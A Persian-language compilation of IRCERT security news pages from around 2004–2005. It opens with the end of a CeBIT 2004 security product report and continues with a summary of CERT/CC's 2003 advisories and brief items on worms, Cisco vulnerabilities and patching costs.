این نکته از سوی اغلب شرکتهای حاضر در نمایشگاه مورد تاکید قرار میگرفت و به عنوان دلیلی بر تایید رهیافتهای جدید امنیتی مطرح میشد. نگاهی دوباره به دسته بندی فوق نشان میدهد که سمت و سوی شرکتها عمدتا در جهت حل این نقطه ضعف است: ایجاد امنیت درون سازمانی. راه حلی که توسط اغلب شرکتها پیشنهاد می شود استفاده از یک نرم افزار جامع مدیریت سیاستهای امنیتی درون سازمانی یا Enterprise Security Policy Management System است.

هدف از چنین نرم افزارهایی ایجاد یک مدیریت متمرکز امنیتی مبتنی بر سیاستهای مدون در سازمان است. باید تاکید کرد که این نوع از راه حلها , علاوه بر سهولت رفع آسیب پذیریهای داخلی و دفاع در برابر حملات خارجی , یک مزیت عمده را نیز بر راه حلهای پیشین دارند: کاهش هزینه نگهداری یا TCO. در واقع با گرانتر شدن نیروی متخصص امنیت اطلاعات هزینه به روز رسانی امنیتی سیستمهای اطلاعاتی و نگهداری تمامی سیستمها در شرایط مناسب روز به روز افزایش یافته است. با اتخاذ یک راه حل متمرکز این هزینه را میتوان تا چندین برابر کاهش داد.

در Cebit2004 شرکتهای مختلفی به ارائه چنین محصولاتی پرداخته بودند که نیم نگاهی به این شرکتها و محصولات ارائه شده توسط آنها خواهیم داشت.

راه حلهای جامع امنیتی در سازمان (Enterprise Security Solutions)

در غرفه شرکت Sygate ( www.sygate.com ) , نرم افزار امنیت سازمانی آن به نامSecure Enterprise عرضه شده است. این نرم افزار در رده بندی مجله Network Computing در رده بالاتری نسبت به محصولات شرکتهای دیگر همچون Zone Lab و Symantec قرار گرفته است. Secure Enterprise با سه هدف زیر طراحی شده است:

  • مدیریت متمرکز سیاستهای امنیتی

  • اعمال جامع راهکارهای امنیتی

  • به روزرسانی و بازسازی متمرکز امنیتی

این سیستم بر سه جز استوار است:

  • Sygate Security Agents

  • Sygate Management Server

  • Sygate Enforcers

Agent ها در تمامی کلاینت ها نصب میشوند و در واقع سرور, اطلاعات امنیتی را دائما از طریق این Agent ها دریافت میکند و سیاست های امنیتی نیز بواسطه این Agent ها اعمال میشود. در واقع بخش اصلی این Agent ها یک فایروال شخصی (لایه کاربرد) و یک موتور تشخیص نفوذ است که سیاستها و قواعد خود را از سرور اصلی دریافت میکند.

سرور اصلی علاوه بر اعمال مدیریت متمرکز, وظیفه تولید انواع گزارشات امنیتی بر اساس وضعیت جاری شبکه را نیز بر عهده دارد. این سرور کاملا به صورت Adpative عمل میکند.

Enforcer ها در این سیستم به صورت Optional می باشند. این اجزا بر روی ورودیهای شبکه مانند Ras Server، VPN، یا نقاط کلیدی شبکه محلی قرار میگیرند و از دسترسی کامپیوتر هایی که قواعد امنیتی را رعایت نکرده اند به شبکه جلوگیری می کنند.

نگاهی به قیمت این نرم افزار یا در واقع راه حل امنیتی نیز خالی از فایده نیست. نسخه 500 کاربره این نرم افزار 31000 و نسخه نامحدود آن 320000 دلار قیمت دارد. به نظر گرانقیمت به نظر میرسد اما جالب است بدانید اساسا هدف چنین راه حلی کاهش TCO در سازمانهاست. بنابراین این قیمت اصولا باید در مقابل هزینه های جاری امنیتی سازمانها ناچیز باشد.

ایده دیگری که شرکت Sygate به عنوان یک ایده نوین امنیتی ارائه داده است, ایده پورتال امن است. جذابیت این ایده بیشتر در این است که امنیت را نه تنها در داخل Host های خود سازمان برقرار میسازد بلکه برای تمامی مشتریان سازمان و کامپیوترهایی که در تماس با شبکه اصلی سازمان هستند و نیاز به تعامل با آن را دارند نیز این امنیت را برقرار میسازد. اساس کار پورتال امن نیز بر Security Agent ها است که به محض باز شدن صفحه پورتال, بر روی کامپیوتر مشاهده کننده نصب میشوند و تمامی تراکنش ها و ذخیره سازی ها را به لحاظ امنیتی چک می کنند. سرویسهایی که این پورتال در حال حاضر ارائه میدهد عبارتند از: ایمیل امن ، VPN و سرویسهای تجاری.

از دیگر شرکتهایی که به ارائه راه حل جامع امنیتی پرداخته بودند شرکت فنلاندی F-SECURE
(www.f-secure.com ) بود. محصول اصلی شرکت f-secure انواع ضد ویروسهایی است که بر روی Gateway ها و کلاینتها نصب می شوند. نکته قابل توجه اینکه f-secure از معدود شرکتهایی است که برای لینوکس نیز ضد ویروس طراحی کرده است. نرم افزار Policy Manager که توسط این شرکت عرضه می شود یک راه حل جامع برای مدیریت متمرکز امنیت در شبکه است. البته به نظر میرسد این مدیریت متمرکز تنها به اعمال قواعد امنیتی بر ضد ویروسها و فایروال خود f-secure می پردازد. از این نظر محصول Sygate از جامعیت بیشتری برخوردار است.

کنسرسیوم RNT (www.rnt.ru ) نیز که کنسرسیوم روسی است با مجموعه کاملی از محصولات امنیتی در نمایشگاه امسال شرکت کرده بود. مهمترین محصول این کنسرسیوم Enterprise Guard است که همانند محصولات بالا یک ابزار مدیریت متمرکز امنیتی در سازمانهاست. اجزای این محصول نیز مانند محصول Sygate عاملها و سرورهای امنیتی هستند. البته برخلاف محصولات دیگر که عمده تمرکزشان بر روی سیاستهای امنیتی مبتنی بر ضد ویروسها ، فایروالها و اعمال شبکه ای است , این نرم افزار عمدتا یک ابزار monitoring متمرکز است که بر تمامی اعمال کاربران درون سازمان نظارت می کند و گزارش جامعی از ان را در اختیار مدیر سیستم قرار می دهد. البته این ابزار توانایی اعمال سیاستهای امنیتی را نیز داراست.

این کنسرسیوم دو محصول جالب توجه دیگر نیز عرضه کرده است . یکی از آنها STILET است که یک Security Scanner است و دیگری Disk Guard است که به منظور حفظ تمامیت اطلاعات (Integrity) بر روی سیستمهای کلاینت به کار میرود. FORPOST که یک IDS است نیز عمدتا بخشی از همان نرم افزار Enterprise Guard است.

Mars(www.protegonet.com ) بر خلاف سایر محصولات بالا , یک گزینه سخت افزاری Plug & Play است . البته این سیستم یک Policy Manager نیست بلکه بیشتر یک IDS است هرچند که ارائه دهندگان آن Mars را یک STM(Security Threat Manager) میدانند. علت اینکه Mars را در این بخش مورد توجه قرار دادیم قابلیت آن در متمرکز ساختن نظارت امنیتی بر شبکه است. در واقع Mars اطلاعات خود را مستقیما از دو منبع زیر اخذ میکند:

  • لاگهای امنیتی

  • پیکربندی شبکه

برای اینکار Mars باید با اغلب سخت افزار موجود شبکه سازگار باشد که تولید کنندگان آن ادعا میکنند که این قابلیت را دارد. در هر حال این دستگاه شما را قادر به پاسخگویی بلادرنگ به حوادث امنیتی شبکه می سازد.

شبکه های امن

اما از مهمترین راه حلهای امنیتی ارائه شده در نمایشگاه امسال انواع راه حلهای VPN بود. این راه حلها عموما به سمتی حرکت می کنند که بکارگیری آنها به ساده ترین شکل ممکن انجام شود. به این معنی که مکانیسم پیچیده زیرین این تکنولوژیها هرچه بیشتر از دید کاربر مخفی می شود و به تبع بکارگیری آن آسان تر می شود. یکی از بهترین راه حلهای ارائه شده, VPN پیشنهادی زیمنس بنام TransON(Transaction Security in Open Networks) بود. این VPN که مبتنی بر SSL و با بهره گیری از الگوریتم رمز نگاری AES 256 بیتی طراحی شده, بالاترین استاندارد امنیتی ITSEC، یعنی E3 را دارد. از مزایای این راه حل قابلیت بهره گیری از انواع روشهای Authentication مانند Token ، Smart Card و یا Certificate است.

مهمترین مزیت این راه حل شفاف بودن کامل آن برای تمامی برنامه ها است. در شکل فوق برنامه پیکربندی کلاینت این VPN نمایش داده شده است.

یکی دیگر از راه حلهای ارائه شده جهت شبکه امن راه حل شرکت هلندی Compumatica (www.compumatica.nl)است. این شرکت مجموعه ای از راه حلهای سخت افزاری را جهت شبکه های امن ارائه می کند.PC 400 CryptoGuard یک باکس سخت افزاری کوچک است که تنها برای کمتر از 10 دستگاه PC طراحی شده است. در مقابل CryptoGuard PC4810 برای شبکه های گیگا طراحی شده است. یکی از مزایای عمده راه حل Compumatica , وجود یک نرم افزار جامع برای مدیریت کل شبکه است.

سخت افزار های امنیتی

در نمایشگاه امسال علاوه بر ارائه انواع راه حلهای مبتنی بر سخت افزار , طیف وسیعی از سخت افزارهای خاص منظور جهت تشخیص و تایید هویت و یا رمز نگاری نیز ارائه شده بود. مهمترین این نوع سخت افزارها Token ها بودند. کلیدهای هوشمند سخت افزاری که با استفاده از روشهای پیشرفته رمز نگاری به تایید و تشخیص هویت می پردازند.

CryptoIdentity محصول شرکت Eutron یکی از این محصولات است که قابلیت رمز گزاری RSA بصورت 1024 بیتی را دارد. SecIdentity از همین شرکت میتواند جهت رمزگذاری فایلها ، ایمیلها و یا به منظور LogOn به کار رود. CryptoCombo محصول دیگری است که قابلیت جالبی را علاوه بر قابلیتهای فوق دارد: CryptoCombo علاوه برینکه یک کلید USB است قابلیت خواندن Smart Card را نیز داراست.

وسعت بخش امنیت در این نمایشگاه بسیار بیشتر از آن بود که بتوان گزارش آن را در یک مطلب جمع بندی نمود . لذا آنچه در این مطلب ارائه گردید , تنها گوشه ای از نتایج بازدید گروه امداد امنیت کامپیوتری ایران از نمایشگاه Cebit 2004 بود که از نظر این گروه می تواند به مدیران شبکه ها و کارشناسان امنیت شبکه در شناسایی و انتخاب محصولات و خدمات بهتر در این زمینه کمک کند.


﻿ IRCERT - اخبار و هشدارها- CERT/CCگزارش سالیانه

گزارش CERT/CC از وضعیت امنیت شبکه در سال 2003

هفته گذشته موسسه CERT/CC – مرکز اصلی هماهنگی گروههای امداد امنیت کامپیوتری در سطح جهان - گزارشی از فعالیتهای خود را طی سال 2003 عرضه کرد که گروه امداد امنیت کامپیوتری ایران ( IRCERT ) با توجه به اهمیت مطالب این گزارش, چکیده ای از این گزارش را جهت استفاده بازدید کنندگان سایت عرضه می کند.

مهمترین حوادث امنیتی سال 2003

مهمترین حملات سال 2003 از دید CERT دو حمله زیر بوده است:

  • کرم اینترنتی W32/Sobig.F
    • این کرم اینترنتی که از طریق ویروس منتشر می شد براساس ارسال از طریق پیوست ایمیل (Attachment) فعالیت میکرد. اجرای موفقیت آمیز این کرم اینترنتی منوط به باز کردن پیوست ایمیل توسط کاربر یا اجرای اتوماتیک آن توسط یک برنامه کلاینت بود. Sobig سپس به صورت اتوماتیک به تمامی آدرسهای یافت شده بر روی کامپیوتر آلوده مجددا ارسال می شد.
  • MS-SQL Server Worm/W32.Slammer
    • نفوذ گران با استفاده از یک قطعه کد منتشر شونده و نیز بهره گیری از یک شکاف امنیتی موجود بر روی MS-SQL Server2000 و نیز MSDE توانستند علاوه بر تغییر و دستکاری اطلاعات حساس موجود بر روی انواع سرورها ، کنترل ماشینهایی که این برنامه ها بر روی آنها اجرا می شد را نیز به دست گیرند. سازمان CERT پیشتر و در طی یک راهنمایی امنیتی وجود شکافهای جدی امنیتی بر روی این دو محصول را هشدار داده بود. زمانی که با استفاده از این شکافها کرم Slammer نوشته شد نیز سازمان CERT طی یک راهنمایی امنیتی این مساله را به مخاطبین خود هشدار داد.

مهمترین شکافهای امنیتی سال 2003

مهمترین شکافهای امنیتی نیز از دید سازمان CERT دو شکاف امنیتی زیر بوده اند:

  • انواع شکافهای امنیتی در سرویس RPC ویندوز
    • طی هشدار امنیتی CA-2003-16 ,CERT وجود شکافهای جدی امنیتی را در سرویس RPC ویندوز هشدار داد. طی دو هفته بعد انواع گزارشات در باب استفاده نفوذگران از این شکافها به CERT ارسال شد که در نهایت منتهی شد به انتشار راهنمایی CA-2003-19
  • شکافهایی متعدد امنیتی در Internet Explorer
    • راهنمایی امنیتی CA-2003-22 حداقل شامل پنج شکاف مهم در IE است که هر کدام از این شکافهای امنیتی میتوانند امکان اجرای یک حمله DoS را به نفوذگر بدهند یا حتی کنترل کامل کامپیوتر را به نفوذگر بسپارند.

جمع بندی

در نهایت در طی سال 2003 ، بیست و هشت راهنمایی امنیتی به شرح زیر توسط سازمان CERT منتشر شده است:

  • سرریز بافر در ISC DHCPD

کنسرسیوم نرم افزاری اینترنت ( ISC ) چندید مشکل سرریز بافر را در پیاده سازی DHCP پیدا کرده است. این حفره ها می توانند به نفوذگران اجازه اجرای کدهای دلخواه بر روی کامپیوترهای قربانی را بدهد.

  • خطای Double Free در سرور CVS

این خطا در سرور Concurrent Versions System باعث می شود تا یک نفوذگر غیرمجاز بتواند از راه دور و تنها با اجازه دسترسی خواندن , یک کد دلخواه را اجرا کند , اجرای برنامه را متوقف کند , اطلاعات حساسی را بخواند و یا باعث حمله DoS شود.

  • سرریز بافر در سرویس Locator ویندوز

این حفره امنیتی می تواند به یک نفوذگر از راه دور اجازه دهد تا کدی دلخواه را اجرا کند یا سرویس Locator ویندوز را با مشکل روبرو کند. این سرویس به صورت پیش فرض فعال است و در کنترلرهای دامنه در ویندوزهای NT و 2000 در حال اجرا است.

  • کرم MS-SQL Server

CERT/CC گزارشهای متعددی را درباره یک کد خطرناک که خود را منتشر می کند و از حفره های موجود در سرویس Resolution در Microsoft SQL Server 2000 استفاده می کند , دریافت کرده است. انتشار این کرم باعث شده است تا مشکلات ترافیکی در شبکه های مختلف بوجود آید.

  • چند خطای امنیتی در سرور اوراکل

چند حفره و مشکل امنیتی در نرم افزار اوراکل وجود دارد که می تواند باعث اجرای کد دلخواه , صدور اجازه خواندن , نوشتن یا تغییر اطلاعات نوشته شده در پایگاه داده های این نرم افزار یا حمله DoS شود.

  • چند خطای امنیتی در پیاده سازی پروتکل SIP

وجود حفره های متعدد امنیتی در پیاده سازی های شرکت های مختلف از پروتکل Session Initiation یا SIP گزارش شده است. این حفره های می توانند به یک حمله کننده اجازه دهند تا دسترسی غیرمجاز ممتازی پیدا کند و باعث بروز حملات DoS یا عدم ثبات رفتاری سیستم شود.

  • سرریز بافر در SendMail

این حفره امنیتی در sendmail می تواند باعث شود تا هکر اختیار root را در سرور sendmail به دست بگیرد.

  • حمله به سرویس اشتراک فایل در ویندوز

در هفته های گذشته CERT متوجه شده است که گزارشهای رو به افزایشی از دارندگان سیستم عاملهای ویندوز XP و 2000 درباره ضعف امنیتی اشتراک فایل در این سیستم عامل ها بدست می رسد.

  • سرریز بافر در یکی از DLL های اصلی ویندوز

یک حفره امنیتی سرریز بافر در کتابخانه های Win32 API در تمامی نسخ ویندوز 2000 وجود دارد. این حفره که در سرورهای IIS 5.0 دارای WebDAV به صورت فعال مورد استفاده قرار می گیرد ، به یک هکر اجازه می دهد تا از راه دور یک کد دلخواه را روی سیستم اجرا کند. سایتهایی که از ویندوز 2000 استفاده می کنند باید هرچه سریعتر اصلاحیه امنیتی مربوطه را نصب کنند یا خدمات WebDAV را غیرفعال کنند.

  • سرریز Integer در یکی از توابع کتابخانه ای SUN

خطای سرریز Integer در تابع xdrmem_getbytes() و به عنوان بخشی از کتابخانه XDR سیستم عامل Sun توزیع شده است. این خطا می تواند باعث بروز سرریز بافر در برنامه های مختلف و در نتیجه امکان اجرای کد دلخواه بر روی سیستم شود. علاوه بر Sun بعضی شرکتهای دیگر نیز این کد را در پیاده سازی های خود به کار گرفته اند.

  • چند خطای امنیتی در Lotus

چند اشکال امنیتی در Lotus Notes clients و سرورهای Domino گزارش شده است. این راهنمایی جزئیات این اشکالات ، نسخ در خطر و اصلاحیه های مربوط را معرفی می کند.

  • سرریز بافر در SendMail

این حفره امنیتی در sendmail می تواند باعث شود تا هکر اختیار root را در سرور sendmail به دست بگیرد.

  • چند خطای امنیتی در Snort

دو حفره امنیتی در سیستم تشخیص نفوذ Snort وجود دارد که هر یک در ماژول پیش پردازنده قرار دارد. هر دو حفره به هکرها اجازه می دهد تا به عنوان کاربری که Snort را اجرا می کند ( معمولا root ) کدی دلخواه را از راه دور روی سیستم اجرا کند.

  • سرریز بافر در یکی از توابع تبدیل HTML در ویندوز

یک حفره سرریز بافر در کتابخانه اشتراکی تبدیل HTML ویندوز وجود دارد. یک هکر می تواند از این حفره استفاده کند تا کدی دلخواه را اجرا کند یا یک حمله DoS را اجرا کند.

  • شکاف امنیتی در CISCO IOS

یک حفره در بسیاری از نسخ Cisco IOS می تواند به یک نفوذگر اجازه دهد تا از حمله DoS استفاده کند.

  • سرریز بافر در سرویس RPC ویندوز

یک سرریز بافر در پیاده سازی RPC مایکروسافت وجود دارد. یک هکر می تواند از راه دور و با استفاده از این حفره کدی دلخواه را روی سیستم قربانی اجرا کند یا حمله DoS انجام دهد.

  • دسترسی عام به Exploit مربوط به خطای امنیتی CISCO

یک خطای امنیتی Cisco به صورت عمومی در اختیار کاربران قرار گرفته است. Exploit مربوطه در VU#411332 شرح داده شده است.

  • سرریز Integer در DirectX

مجموعه ای از سرریزهای Integer در کتابخانه DirectX ویندوز وجود دارد. یک هکر می تواند با استفاده از این حفره ها کدی دلخواه را روی سیستم قربانی اجرا کند یا حمله DoS انجام دهد.

  • دسترسی عام به Exploit مربوط به سرریز بافر در RPC ویندوز

CERT گزارشاتی را درباره استفاده گسترده از دو حفره امنیتی که اخیرا کشف شده اند دریافت کرده است. این دو حفره در واسط RPC قرار دارند.

  • کرم Blaster

CERT گزارشاتی را درباره فعالیت گسترده کد خطرناکی به نام W32/Blaster دریافت کرده است. این کرم اینترنتی از حفره های امنیتی شناخته شده در واسط RPC ویندوز برای نفوذ استفاده می کند.

  • مشکل امنیتی سرور FTP مربوط به پروژه GNU

CERT گزارشی را دریافت کرده است مبنی بر این که سیستم میزبانی سرورهای اصلی FTP در پروژه GNU هک شده است.

  • چند شکاف امنیتی در IE

IE دارای چند حفره امنیتی است که مهمترین آنها به یک هکر اجازه می دهد تا از راه دور کدی دلخواه را اجرا نماید.

  • شکاف امنیتی در RPCSS ویندوز

مایکروسافت بولتنی را منتشر کرده است که در آن سه حفره امنیتی را که بسیاری از نسخ ویندوز را تحت تاثیر قرار می دهند توضیح داده است. دو حفره شامل امکان سرریز بافر هستند و به یک هکر اجازه می دهند تا کدی دلخواه را روی سیستم قربانی اجرا کند. سومین حفره به یک مهاجم اجازه می دهد تا حمله DoS‌انجام دهد.

  • شکاف امنیتی در مدیریت بافرها در OPENSSH

در نسخ پیش از نسخه 3.7 OpenSSH یک حفره امنیتی در تابع مدیریت بافر وجود دارد. این حفره می تواند به یک هکر اجازه دهد تا حافظه heap را تخریب کند و باعث بروز شرایط DoS شود. همچنین هکر امکان اجرای کد دلخواه را نیز خواهد داشت.

  • سرریز بافر در SendMail

این حفره امنیتی در sendmail می تواند باعث شود تا هکر اختیار root را در سرور sendmail به دست بگیرد.

  • چند شکاف امنیتی در پیاده سازی SSL و TLS

جندین شکاف امنیتی در پیاده سازی های مختلف پروتکلهای SSL و ‏TLS وجود دارد. این شکافها در کد ASN.1 وجود داشته اند. مهمترین آنها می تواند به هکر اجازه اجرای کد دلخواه و انجام DoS را بدهد.

  • چند شکاف امنیتی در ویندوز و Exchange

چند حفره امنیتی در دو محصول ویندوز و Exchange وجود دارد که مهمترین آنها به هکر اجازه اجرای کد دلخواه را می دهد.

  • سرریز بافر در سرویس WorkStation ویندوز

یک سرریز بافر در سرویس WorkStation ویندوز (WKSSVC.DLL) وجود دارد که یک هکر می تواند با استفاه از آن کد دلخواهی را اجرا کند و یا حمله DoS‌ انجام دهد.


﻿ IRCERT - اصلاح کدامیک ارزانتر است؟ ویندوز یا لینوکس؟ - اخبارها و هشدارها

اصلاح کدامیک ارزانتر است؟ ویندوز یا لینوکس؟

20 مه 2005 - 30 اردیبهشت 1384

مایکروسافت مدعی شده است که رفع مشکلات ویندوز و اصلاح آن ارزانتر از پوشش حفره های رقبای سورس آزاد است.

در مطالعه ای که با بودجه ای از طرف مایکروسافت تو سط شریک تجاریش یعنی Wipro ‌انجام شده است، به طور خاص به مواردی اشاره شده که کاربر با استفاده از ویندوز هزینه کمتری می پردازد.

این مطالعه که بر روی 90 سازمان انجام شده نشان می دهد که هزینه اصلاح دیتابیس سرور ویندوز نسبت به رقبای سورس آزاد آن 33 درصد کمتر است. همچنین پاسخگویان اعلام کرده اند که به طور متوسط کلاینتهای ویندوزی نیز با 14 درصد هزینه کمتر نسبت به رقبا اصلاح می شوند.

البته این یافته ها مورد انتقادات گوناگونی قرار گرفته و بعضی آنها را غیرواقعی می دانند.

جیمز ترنر، یکی از تحلیلگران امنیتی، معتقد است که این گونه مطالعات نمی تواند به عنوان یک مبنا در دنیای واقعی برای مشخص کردن هزینه اصلاح یا نگهداری نرم افزارها به کار بروند. وی می گوید:“ سازمانها نیازهای گوناگونی دارند.“ وی بازگشت سرمایه (ROI) و هزینه کامل مالکیت ( TCO) را مبنای بهتری برای راهنمایی می داند.

پاول کانگرو، مدیر راهکارهای Novell در آسیای دور، نیز اشکالات متعددی را به این مطالعه وارد می کند. وی اشاره می کند که این مطالعه در سال گذشته انجام شده و به مشکلاتی اشاره می کند که مدیران شبکه در سال 2003 با‌آنها روبرو بودند درحالی که پس از آن در ابزارهای به روز رسانی لینوکس پیشرفتهای چشمگیری رخ داده است. وی می گوید:“ در آن زمان ما ابزاری مانند Xen نداشتیم. حالا هنگامی که من اصلاحیه ای روی لینوکس نصب می کنم، دیگر نیازی به بالا آوردن مجدد آن نیست.“ در این گزارش اشاره ای به هزینه سرباز بازآغازی سیستم بعد ز نصب اصلاحیه نشده است. کانگرو می گوید:“‌هنگامی که من یک اصلاحیه روی سیستم ویندوزی نصب می کنم باید زمان مناسبی را بیابم که بتوان سیستم را بازآغازی کرد. این نکته در هیچ کجای گزارش نیامده است.“

اما شان مشیر ، مدیر اجرایی شرکت PatchLink که در زمینه اصلاحیه برنامه ها تخصص دارد، معتقد است که اصلاحیه های مایکروسافت واقعا ارزانتر هستند. وی می گوید:“ بنابر یافته های این شرکت، در هر مشکلی که منجر به تولید اصلاحیه می شود، نصب اصلاحیه های مایکروسافت ارزانتر است. تست کنترل کیفیت اصلاحیه های مایکروسافت و مستند کردن نقاط مثبت و منفی این اصلاحیه ها نیز از رقبای سورس آزاد به ازای هر اتفاق ارزانتر است. این تفاوت از آنجا ناشی می شود که نرم افزار سورس آزاد می تواند تنظیمات و پیکربندی های بسیار بیشتری داشته باشد.“

نتایج این تحقیق به صورت رایگان در سایت مایکروسافت در دسترس است.


﻿ IRCERT - ویروسی دیگر و تبریک کریسمس - اخبارها و هشدارها

ویروسی دیگر و تبریک کریسمس

16 دسامبر 2004 - 26 آذر 1383

ویروس نویسان کرم اینترنتی دیگری را منتشر کرده اند که کارت تبریک ارسال می کند.

بنابه گفته شرکت امنیتی F-Secure، گزارشهایی درباره انتشار ویروس Atak.H به گوش می رسد که در قالب ارسال کارت تبریک کریسمس خود را گسترش می دهد.

میکو هایپونن - مدیر بخش تحقیقات F-Secure - می گوید:“ این نمونه شبیه ویروسهای قبلی است. به نظر می رسد که ارسال کارت تبریک خطرناک نیست اما باز کردن آن می تواند خطرناک باشد. ما به کاربران توصیه می کنیم از کارتهای قدیمی کریسمس استفاده کنند که خطری به همراه ندارند!“

این ویروس که مشابه Zafi است، خود را به تمامی نشانی های درون address book قربانی ارسال می کند. البته این ویروس همانند Zafi چندزبانه نیست و تنها به زبان انگلیسی منتشر شده است.

به گفته F-Secure این کرم اسب تروایی با خود حمل نمی کند که این امر عجیب است. ایمیل دارای این ویروس با موضوع "Merry X-Mas!" یا "Happy New Year!" ارسال می شود و دارای متنی این چنین است:

"Happy New year and wish you good luck on next year."


﻿ IRCERT - سیسکو پروتکل امنیتی برای شبکه محلی بی سیم ارائه می دهد - اخبارها و هشدارها

سیسکو پروتکل امنیتی برای شبکه محلی بی سیم ارائه می دهد

13 آوریل- 25 فروردین

شرکت سیسکو اعلام کرد پروتکلی طراحی نموده است که می تواند با حملات brute-force دیکشنری برای بدست آوردن کلمه عبور کاربران در محصولات شبکه محلی بی سیم (WLAN) مقابله کند. این شرکت تاکید کرده است که کاربران و مدیران شبکه ها این اصلاحیه امنیتی را از سایتش دریافت کنند. یک حمله دیکشنری حمله ای است که طی آن,هکر میلیون ها کلمه عبور را بر روی یک دیتابیس چک می کند تا به کلمه عبور اصلی دست پیدا کند. سال گذشته جاشوا رایت ابزاری را برای حمله دیکشنری خودکار تولید کرد که می توانست علیه پروتکل Lightweight Extensible Authentication سیسکو یا LEAP مورد استفاده قرار گیرد. بنا به گفته سیسکو این ابزار هفته گذشته ارائه شده است.

کریس بورلینگر – مدیر بازاریابی محصولات WLAN سیسکو – می گوید که پروتکل جدید با ارسال گواهی ها از طریق یک تونل رمزنگاری شده با این نوع حمله مقابله می کند. بنا به گفته بورلینگر این اصلاحیه به سادگی نصب می شود و نرم افزار LAN Client بی سیم روی نوت بوکها را بروز می کند. سیسکو نام این پروتکل جدید را Extensible Authentication Protocol-Flexible Authentication via Secure Tunneling ( EAP-FAST ) گذارده است.

رایت معتقد است با وجودی که پروتکل جدید راه حل بهتری برای احراز هویت است اما هنوز آن را کاملا امن نمی داند. وی به کاربران توصیه کرده است که به جای استفاده از EAP-FAST به سراغ Protected Extensible Authentication Protocol یا PEAP بروند چون این پروتکل از ثبات بیشتری برخوردار است.


﻿ IRCERT - کد سیسکو به بیرون نشت کرد - اخبارها و هشدارها

کد سیسکو به بیرون نشت کرد

17 مه – 28 اردیبهشت

امروز بخشی از کد برنامه ای که تجهیزات سخت افزاری شبکه سیسکو را راهبری می کند، بر روی اینترنت منتشر شد. این دومین بار در سال جاری است که کد برنامه یکی از محصولات یک شرکت بزرگ به بیرون نشر یافته است. در ماه فوریه بخشهایی از کد ویندوز 2000 و NT بر روی شبکه اینترنت پخش شد.

هنوز مشخص نشده است که این نشت کد چه میزان امنیت محصولات سیسکو را تحت تاثیر قرار خواهد داد. نشتی ماه فوریه مشکل زیادی برای مایکروسافت ایجاد نکرد. البته معمولا هکرها علاقه زیادی به نقاط ضعف امنیتی موجود در سخت افزار شبکه نشان نمی دهند.

اخبار مربوط به این نشت کد روز شنبه ، 26 اردیبهشت ، روی سایت روسی securitylab.ru قرار گرفت. بنابر اخبار رسیده این کد دو روز قبل از آن در اختیار مدیران این سایت قرار گرفته است. این سایت دو فایل را منتشر کرده است که به زبان C نوشته شده اند. کپی رایت یکی از فایلها متعلق به سال 1996 و دیگری 2003 است. بنا به گفته این سایت روسی حجم فایلهای به سرقت رفته حدود 800 مگابایت است که 2.5 مگابایت آن کمی پس از سرقت روی یک سیستم IRC قرار گرفت و موضوع بحث شد. البته این موضوع برای همه جذابیت نداشت و لذا عنوان کانال را به طور موقت به

"do not keep commercial code on online computers...when are people gonna learn."

تغییر دادند.

سیسکو تایید کرده است که این کد متعلق به آن شرکت است اما شیوه نشت آن هنوز معلوم نشده است. البته کارشناسان معتقدند که هکرها نخواهند توانست از این کد به آسانی استفاده کنند. گفته می شود نشتی کد مایکروسافت در ماه فوریه بسیار خطرناکتر بوده چون آن کد براحتی و روی یک کامپیوتر خانگی قابل ساخت است اما کامپایل کردن کد سیسکو نیاز به سخت افزار خاص دارد که در اختیار اکثر مردم قرار ندارد.

FBI مشغول تحقیق بر روی این سرقت است.


﻿ IRCERT - سیسکو و حفره نرم افزار تلفن اینترنتی - اخبارها و هشدارها

سیسکو و حفره نرم افزار تلفن اینترنتی

24 مه 2005 - 3 خرداد 1384

با کشف یک مشکل امنیتی در نرم افزار تلفن اینترنتی سیستمهای سیسکو، این شرکت اصلاحیه ای برای رفع آن ارائه کرد.

این حفره که امکان حملات DoS را بر روی سرویس تلفن اینترنتی ایجاد می کند، توسط مرکز هماهنگی امنیت زیرساختار ملی در انگلستان کشف و گزارش شده است.

مشکل در تلفنهای IP سیسکو که پروتکل DNS‌ را اجرا می کنند،‌ بروز می کند. سرورهای DNS در گستره شبکه اینترنت قرار دارند و به ترجمه نام دامنه به شماره IP می پردازند. معمولا برای تسریع در جستجو در سرور DNS، فایلهای ثبت وقایع فشرده می شوند. بنابر راهنمایی امنیتی ارائه شده، این حفره به دلیل خطایی در زمان بازگشایی پیغامهای فشرده شده DNS بروز می کند. این حفره را می توان با ارسال بسته DNS‌ دست کاری شده که اطلاعات نامعتبری را در بخش فشرده شده پیغام دارد، مورد سوء استفاده قرار داد. نتیجه این کار، به وجود آمدن یک خطا در پردازش روی تلفنهای IP است که باعث می شود تلفنها به خوبی عمل نکنند و یا قطع شوند.

در راهنمایی امنیتی ارائه شده توسط سیسکو تاکید شده است که تنها محصولات تحت تاثیر این مشکل، کلاینتهای DNS هستند که بر روی محصولات تلفن IP‌ اجرا می شوند. این حفره روی محصولاتی که به عنوان سرور DNS‌عمل می کنند، وجود ندارد. محصولات تحت تاثیر عبارتند از:

Cisco IP Phones 7902/7905/7912 ، Cisco ATA (Analog Telephone Adaptor) 186/188 و تجهیزات Cisco Unity Express و Cisco ACNS.

سیسکو لیست کاملی از محصولات دارای مشکل امنیتی را در سایت خود منتشر کرده است. همچنین این شرکت اعلام کرده است که یک اصلاحیه رایگان برای رفع مشکل آماده کرده است.


﻿ IRCERT - معرفی محصولات امنیتی جدید سیسکو - اخبارها و هشدارها

معرفی محصولات امنیتی جدید سیسکو

27 سپتامبر 2005 – 5 مهر 1384

شرکت سیسکو امروز محصولات جدید امنیتی خود را برای مقابله با حملات خطرناک ارائه کرد.

این محصولات در نتیجه همکاری سیسکو با ضرکت ضدویروس Trend Micro تولیده شده اند. سیسکو قصد دارد با تولید این رده از محصولات شبکه های هوشمندی را پایه ریزی کند که می توانند از خود در برابر حملات امنیتی حفاظت کنند.

دو محصول سیسکو Incident Control System یا سیستم کنترل وقایع و Distributed Threat Mitigation نام دارند که دومی برای سیستم جلوگیری از نفوذ سیسکو ساخته شده است.

در همکاری بین دو شرکت، Trend Micro اطلاعات مربوط به حملات ویروسها و امضای آنها را برای سیستم کنترل وقایع سیسکو تامین می کند. کاربران با کمک این اطلاعات می توانند سیستمهای خود را به گونه ای پیکربندی کنند که که تهدیدات را پیش از رسیدن به هسته شبکه،‌ بلوکه کنند.

